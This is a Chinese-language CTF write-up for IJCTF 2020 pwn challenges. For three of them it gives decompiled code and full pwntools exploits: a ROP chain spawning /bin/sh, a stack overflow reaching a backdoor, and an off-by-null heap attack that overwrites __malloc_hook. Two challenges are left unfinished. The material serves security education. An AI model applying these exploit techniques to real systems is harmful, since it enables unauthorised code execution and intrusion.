目录
Admin
Description:
This admin thinks his system is very safe Is it actually safe? I say it's safe what do you think?
nc 35.186.153.116 7002
Challenge file :https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/admin
Author:
zilikos
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序去符号化了,凭借经验补补函数,能得到如下的 main 函数:
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax char v4; // [rsp+0h] [rbp-40h] puts("Username: "); gets(&v4); if ( strcmp(&v4, "admin") ) result = printf("Bye %s\n"); else result = puts("Welcome admin"); return result; }
直接 ropchain 了
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('35.186.153.116', 7002) pd = 'a' * 0x48 pd += p64(0x0000000000410193) # pop rsi ; ret pd += p64(0x00000000006b90e0) # @ .data pd += p64(0x0000000000415544) # pop rax ; ret pd += '/bin//sh' pd += p64(0x000000000047f321) # mov qword ptr [rsi], rax ; ret pd += p64(0x0000000000410193) # pop rsi ; ret pd += p64(0x00000000006b90e8) # @ .data + 8 pd += p64(0x0000000000444aa0) # xor rax, rax ; ret pd += p64(0x000000000047f321) # mov qword ptr [rsi], rax ; ret pd += p64(0x0000000000400686) # pop rdi ; ret pd += p64(0x00000000006b90e0) # @ .data pd += p64(0x0000000000410193) # pop rsi ; ret pd += p64(0x00000000006b90e8) # @ .data + 8 pd += p64(0x0000000000449765) # pop rdx ; ret pd += p64(0x00000000006b90e8) # @ .data + 8 pd += p64(0x0000000000444aa0) # xor rax, rax ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x0000000000474770) # add rax, 1 ; ret pd += p64(0x000000000047b4bf) # syscall p.sendline(pd) p.interactive()
Flag:
IJCTF{W3lc0m3_4g4in_d34r_AADMMIINN!!!}
testInput Checker
Description:
Finding the best input.
nc 35.186.153.116 5001
Challenge File: https://github.com/linuxjustin/IJCTF2020/blob/master/pwn/input
Author:
Tux
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned int v3; // eax __int64 v4; // rax char v6; // [rsp+0h] [rbp-640h] char v7[1008]; // [rsp+210h] [rbp-430h] int v8; // [rsp+600h] [rbp-40h] int v9; // [rsp+604h] [rbp-3Ch] int v10; // [rsp+608h] [rbp-38h] int v11; // [rsp+60Ch] [rbp-34h] int v12; // [rsp+610h] [rbp-30h] int v13; // [rsp+61Ch] [rbp-24h] __int64 v14; // [rsp+620h] [rbp-20h] int j; // [rsp+628h] [rbp-18h] int i; // [rsp+62Ch] [rbp-14h] v14 = 4LL; v3 = sub_401371(8u, 4); std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v6, "/dev/urandom", v3); for ( i = 0; i <= 4; ++i ) std::istream::read(&v6, &v8 + 4 * i, v14); if ( v8 == v9 && v9 == v10 && v10 == v11 && v11 == v12 ) execve("/bin/sh", 0LL, 0LL); std::operator<<<std::char_traits<char>>(&std::cout, "Input: "); for ( j = 0; j <= 0x441; ++j ) { v13 = getchar(); v7[j] = v13; } v4 = std::operator<<<std::char_traits<char>>(&std::cout, v7); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v6); return 0LL; }
很明显有后门和栈溢出,本题的考点在于当数值覆盖到 0x418 的时候
再往后覆盖会把变量 j 也给覆盖掉,就导致程序直接退出循环,之后就无法溢出了
所以我们在变量 j 的偏移上写入 0x418 的值,还原它,就可以正常溢出到后门了
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('35.186.153.116', 5001) # gdb.attach(p, "b *0x401312\nc") addr_execve = 0x401253 pd = 'a' * 0x418 pd += p32(0x418) pd = pd.ljust(0x438, 'a') pd += p64(addr_execve) pd = pd.ljust(0x442, 'a') p.send(pd) p.recv() p.interactive()
Flag:
IJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}
Babyheap
Description:
tIt's just a little baby, so treat it with love.
nc 35.186.153.116 7001
Challenge file : https://github.com/linuxjustin/IJCTF2020/tree/master/pwn/babyheap
Author:
zilikos
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
一道 off-by-null 的题,用了 strcpy 函数往堆里写入数据,就导致这题很恶心
main 函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { unsigned int *v3; // rsi unsigned int v4; // [rsp+4h] [rbp-Ch] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); v3 = 0LL; setvbuf(stdout, 0LL, 2, 0LL); while ( 1 ) { while ( 1 ) { puts("1. malloc\n2. free\n3. print\n4. exit"); printf("> ", v3); v3 = &v4; __isoc99_scanf("%u", &v4); if ( v4 != 2 ) break; process(1); } if ( v4 > 2 ) { if ( v4 == 3 ) { process(2); } else { if ( v4 == 4 ) exit(0); LABEL_13: puts("invalid choice"); } } else { if ( v4 != 1 ) goto LABEL_13; create(); } } }
create 函数如下:
unsigned __int64 create() { size_t nbytes; // [rsp+4h] [rbp-41Ch] unsigned int v2; // [rsp+Ch] [rbp-414h] char buf[1032]; // [rsp+10h] [rbp-410h] unsigned __int64 v4; // [rsp+418h] [rbp-8h] v4 = __readfsqword(0x28u); v2 = 10; for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) ) { if ( !ptrs[HIDWORD(nbytes)] ) { v2 = HIDWORD(nbytes); break; } } if ( v2 == 10 ) { puts("no free slots\n"); } else { printf("\nusing slot %u\n", v2); printf("size: "); __isoc99_scanf("%u", &nbytes); if ( nbytes <= 0x3FF ) { printf("data: ", &nbytes); LODWORD(nbytes) = read(0, buf, nbytes); buf[nbytes] = 0; ptrs[v2] = malloc(nbytes); strcpy(ptrs[v2], buf); puts("chunk created\n"); } else { puts("maximum size exceeded\n"); } } return __readfsqword(0x28u) ^ v4; }
这里存在 off-by-null 漏洞
process 函数如下:
unsigned __int64 __fastcall process(int a1) { unsigned int v2; // [rsp+14h] [rbp-Ch] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("idx: "); __isoc99_scanf("%u", &v2); if ( v2 <= 0xA ) { if ( ptrs[v2] ) { if ( a1 == 1 ) { free(ptrs[v2]); ptrs[v2] = 0LL; puts("chunk deleted\n"); } else if ( a1 == 2 ) { printf("\ndata: %s\n", ptrs[v2]); } } else { puts("chunk not existing\n"); } } else { puts("invalid index\n"); } return __readfsqword(0x28u) ^ v3; }
先分配好特定的堆块:
add(0x108, 'a' * 0x107) # 要被覆盖到的堆块 # 凑数加用于泄露 libc 的堆块,为了凑出 0x300,因为最后两位只能是 \x00 add(0x158, 'q' * 0x151) add(0x68, 'q' * 0x61) # 用于制造 fastbin double free 的堆块 add(0x18, 'q') # 制造 off-by-null 的堆块,将下面的堆块值修改为 0x100 add(0x1f8, 'a' * 0x1f7) # 之后在这里写入特殊数据 add(0x68, 'q' * 0x61) # 用于 fastbin double free 的中间堆块
之后利用输入的数据的最后以为会被覆盖为 0 的这一特性
用如下代码将 0x1f8 大小堆块的 prev_size 位变为 0x300,使其可以追寻到 0x108 大小的堆块
delete(0) delete(3) add(0x18, 'a' * 0x18) for i in range(0, 6): delete(0) add(0x18, '\x03' * (0x17 - i)) for i in range(7, 9): delete(0) add(0x18, 'a' * (0x17 - i))
这里 delete(0) 是因为要提前释放要被覆盖到的堆块,不然会有一个堆块认为你是释放一个堆块认为你是使用而报错
接着覆盖成功了就可以获得 libc 了,之后利用 fastbin 的 double free 就可以拿到 __malloc_hook 的地址,从而改写为 one_gadget 来提权了
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('35.186.153.116', 7001) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) def add(add_size, add_data): p.sendlineafter('> ', '1') p.sendlineafter('size: ', str(add_size)) p.sendafter('data: ', add_data) def delete(delete_idx): p.sendlineafter('> ', '2') p.sendlineafter('idx: ', str(delete_idx)) def show(show_idx): p.sendlineafter('> ', '3') p.sendlineafter('idx: ', str(show_idx)) p.recvuntil('data: ') libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] add(0x108, 'a' * 0x107) add(0x158, 'q' * 0x151) add(0x68, 'q' * 0x61) add(0x18, 'q') add(0x1f8, 'a' * 0x1f7) add(0x68, 'q' * 0x61) delete(0) delete(3) add(0x18, 'a' * 0x18) for i in range(0, 6): delete(0) add(0x18, '\x03' * (0x17 - i)) for i in range(7, 9): delete(0) add(0x18, 'a' * (0x17 - i)) delete(4) add(0x108, 'a' * 0x107) show(1) addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68 libcbase = addr___malloc_hook - libc.sym['__malloc_hook'] addr_one_gadget = libcbase + libc_one_gadget[3] add(0x158, 'a' * 0x151) add(0x68, 'q' * 0x61) add(0x218, 'q' * 0x211) delete(2) delete(5) delete(6) pd = p64(addr___malloc_hook - 0x23) pd = pd.ljust(0x61, 'a') add(0x68, pd) add(0x68, 'a' * 0x61) add(0x68, 'a' * 0x61) pd = 'a' * 0x13 pd += p64(addr_one_gadget) pd = pd.ljust(0x61, '\x00') add(0x68, pd) # gdb.attach(p, 'b malloc\nc') add(0x18, 'a') success('addr___malloc_hook = ' + hex(addr___malloc_hook)) p.interactive()
Flag:
IJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}
Super Mario(未完)
文件存于:https://quqi.gblhgk.com/s/911627/oHp14hdhYN1d2vgp
Description:
Mia Mario!
nc 35.186.153.116 5002
Challenge file: https://github.com/linuxjustin/IJCTF2020/tree/master/pwn/mario
Author:
Tux
Solution:
程序保护如下:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Flag:
动态靶机
Corrupted Maps(未完)
文件存于:https://quqi.gblhgk.com/s/911627/8pCsHN9kjt4Z7q2o
Description:
I hope you love writing N-day exploits, because this is one of the toughest ones yet!
This was a vulnerability used during Tianfu Cup 2019 - CVE-2019-13735
Bug report: https://bugs.chromium.org/p/chromium/issues/detail?id=1025468
Patch commit: https://chromium-review.googlesource.com/c/v8/v8/+/1944154
WARNING: This is an extremely difficult challenge. It will more than likely take you the entire 36 hours to solve.
HINT: There are a couple of different ways to exploit this vulnerability. You will likely be required to make use of both the garbage collector and the JIT compiler. Playing around with the PoC and a debug build is a good way to gain some initial understanding.
nc 35.186.153.116 1337
Flag is located at
/home/ctf/flag.txt
Challenge files (exact same as the
d8
binary hosted on the server): https://drive.google.com/file/d/1Jg30aUHhV6JXPAnh9mRZjJB8T-PAtrYP/view?usp=sharingThe
d8
binary on the server is a release build of commit28fb79c8f5112219a82f979081941fa33b83ecd6
.Author:
Faith
Hint:Here's a PoC that crashes on the release build. You should try to use this to figure out how to get a better primitive (instead of just a crash).
Solution:
Flag:
动态靶机